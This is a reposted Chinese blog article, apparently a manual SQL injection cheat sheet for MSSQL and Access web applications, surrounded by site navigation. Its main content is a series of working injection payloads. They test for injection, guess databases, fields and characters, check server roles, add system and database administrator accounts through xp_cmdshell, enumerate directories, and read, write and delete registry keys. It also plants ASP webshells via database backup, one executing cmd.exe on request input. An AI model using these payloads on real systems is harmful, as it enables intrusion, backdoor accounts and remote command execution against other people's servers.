JavaShuo
欄目
標籤
帶註釋手動注入腳本命令整理
時間 2019-11-24
標籤
註釋
手動
注入
腳本
命令
整理
简体版
原文
原文鏈接
整理了下手動注入腳本命令[帶註釋]
1.判斷是否有注入;and 1=1 ;and 1=2
2.初步判斷是不是mssql ;and user>0
3.注入參數是字符’and [查詢條件] and ’’=’
4.搜索時沒過濾參數的’and [查詢條件] and ’%25’=’
5.判斷數據庫系統
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
6.猜數據庫 ;and (select Count(*) from [數據庫名])>0
7.猜字段 ;and (select Count(字段名) from 數據庫名)>0
8.猜字段中記錄長度 ;and (select top 1 len(字段名) from 數據庫名)>0
9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 數據庫名)>0
(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 數據庫名)>0
10.測試權限結構(mssql)
;and 1=(select IS_SRVROLEMEMBER(’sysadmin’));--
;and 1=(select IS_SRVROLEMEMBER(’serveradmin’));--
;and 1=(select IS_SRVROLEMEMBER(’setupadmin’));--
;and 1=(select IS_SRVROLEMEMBER(’securityadmin’));--
;and 1=(select IS_SRVROLEMEMBER(’diskadmin’));--
;and 1=(select IS_SRVROLEMEMBER(’bulkadmin’));--
;and 1=(select IS_MEMBER(’db_owner’));--
11.添加mssql和系統的賬戶
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell ’net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add’;--
;exec master.dbo.xp_cmdshell ’net user username password /add’;--
;exec master.dbo.xp_cmdshell ’net localgroup administrators username /add’;--
12.(1)遍歷目錄
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree ’c:\’
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in(’上步獲得的paths’))>)
(2)遍歷目錄
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 得到當前全部驅動器
;insert into temp(id) exec master.dbo.xp_subdirs ’c:\’;-- 得到子目錄列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree ’c:\’;-- 得到全部子目錄的目錄樹構
;insert into temp(id) exec master.dbo.xp_cmdshell ’type c:\web\index.asp’;-- 查看文件的內容
13.mssql中的存儲過程
xp_regenumvalues 註冊表根鍵, 子鍵
;exec xp_regenumvalues ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion\Run’ 以多個記錄集方式返回全部鍵值
xp_regread 根鍵,子鍵,鍵值名
;exec xp_regread
’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’CommonFilesDir’ 返回制定鍵的值
xp_regwrite 根鍵,子鍵, 值名, 值類型, 值
值類型有2種REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’TestValueName’,’reg_sz’,’hello’ 寫入註冊表
xp_regdeletevalue 根鍵,子鍵,值名
exec xp_regdeletevalue ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’TestValueName’ 刪除某個值
xp_regdeletekey ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey’ 刪除鍵,包括該鍵下全部值
14.mssql的backup建立webshell
use model
create table cmd(str p_w_picpath);
insert into cmd(str) values (’<% Dim oScript %>’);
backup database model to disk=’c:\l.asp’;
15.mssql內置函數
;and (select @@version)>0 得到Windows的版本號
;and user_name()=’dbo’ 判斷當前系統的鏈接用戶是否是sa
;and (select user_name())>0 爆當前系統的鏈接用戶
;and (select db_name())>0 獲得當前鏈接的數據庫
16.簡潔的webshell
use model
create table cmd(str p_w_picpath);
insert into cmd(str) values (’<%=server.createobject("wscript.shell").exec("cmd.exe /c
"&request("c")).stdout.readall%>’);
backup database model to disk=’g:\wwwtest\l.asp’;
命令
職場
休閒
***技術文章
0
javascript
分享
php
微博
QQ
微信
收藏
css
上一篇:viking病毒查殺
下一篇:感動!
cy051799
22篇文章,6W+人氣,0粉絲
Ctrl+Enter 發佈
html
發佈
java
取消
python
推薦專欄
更多
十年老兵教你練一套正宗的MySQL降龍十八掌
MySQL全通曉
共18章 |
張甦
¥51.00
418人訂閱
訂 閱
負載均衡高手煉成記
高併發架構之路
共15章 |
sery
¥51.00
548人訂閱
訂 閱
猜你喜歡
個人友情連接
檢查主板USB功能是否激活的方法索
python學習——python中執行shell命令
思科路由交換部分命令大全。
vim全局替換命令
linux tee 命令詳解
linux 的date命令及系統時間設置
linux命令eval的用法
Storcli經常使用命令
Usermod 命令詳解
Linux基本命令總結(一)
linux命令: ps、grep、kill
PostgreSQL VFD機制
支付結算系統如何應對高併發、熱點帳戶等問題
PostgreSQL WAL解析:構建WAL記錄準備
playbook自動安裝kafka集羣
PostgreSQL的B-tree索引
PostgreSQL pg_rewind實例--could not find previous WA
redis geo 地理位置系應用戰案例
PostgreSQL如何刪除不使用的xlog文件
掃一掃,領取大禮包
jquery
0
linux
分享
cy051799
相關文章
1.
PD生成SQL腳本附帶註釋命令
2.
腳本註釋3
3.
Shell腳本 註釋
4.
shell腳本——註釋(單行註釋 多行註釋)
5.
Unity腳本自動添加註釋腳本及頭部註釋排版格式
6.
命令注入
7.
Lua 腳本註釋 自動化去除
8.
JSP標記、腳本、註釋
9.
sql腳本註釋問題
10.
shell腳本註釋方法
更多相關文章...
•
R 註釋
-
R 語言教程
•
Rust 註釋
-
RUST 教程
•
Docker 清理命令
•
Spring Cloud 微服務實戰(三) - 服務註冊與發現
相關標籤/搜索
註釋
註腳
腳註
注入
註釋全面
SVN命令整理
命中註定
依賴注入
注入器
Docker命令大全
PHP參考手冊
MyBatis教程
命令
註冊中心
0
分享到微博
分享到微信
分享到QQ
每日一句
每一个你不满意的现在,都有一个你没有努力的曾经。
最新文章
1.
Android Studio3.4中出現某個項目全部亂碼的情況之解決方式
2.
Packet Capture
3.
Android 開發之 仿騰訊視頻全部頻道 RecyclerView 拖拽 + 固定首個
4.
rg.exe佔用cpu導致卡頓解決辦法
5.
X64內核之IA32e模式
6.
DIY(也即Build Your Own) vSAN時,選擇SSD需要注意的事項
7.
選擇深圳網絡推廣外包要注意哪些問題
8.
店鋪運營做好選款、測款的工作需要注意哪些東西?
9.
企業找SEO外包公司需要注意哪幾點
10.
Fluid Mask 摳圖 換背景教程
本站公眾號
歡迎關注本站公眾號,獲取更多信息
相關文章
1.
PD生成SQL腳本附帶註釋命令
2.
腳本註釋3
3.
Shell腳本 註釋
4.
shell腳本——註釋(單行註釋 多行註釋)
5.
Unity腳本自動添加註釋腳本及頭部註釋排版格式
6.
命令注入
7.
Lua 腳本註釋 自動化去除
8.
JSP標記、腳本、註釋
9.
sql腳本註釋問題
10.
shell腳本註釋方法
>>更多相關文章<<
Ctrl+Enter 發佈html
發佈java
取消python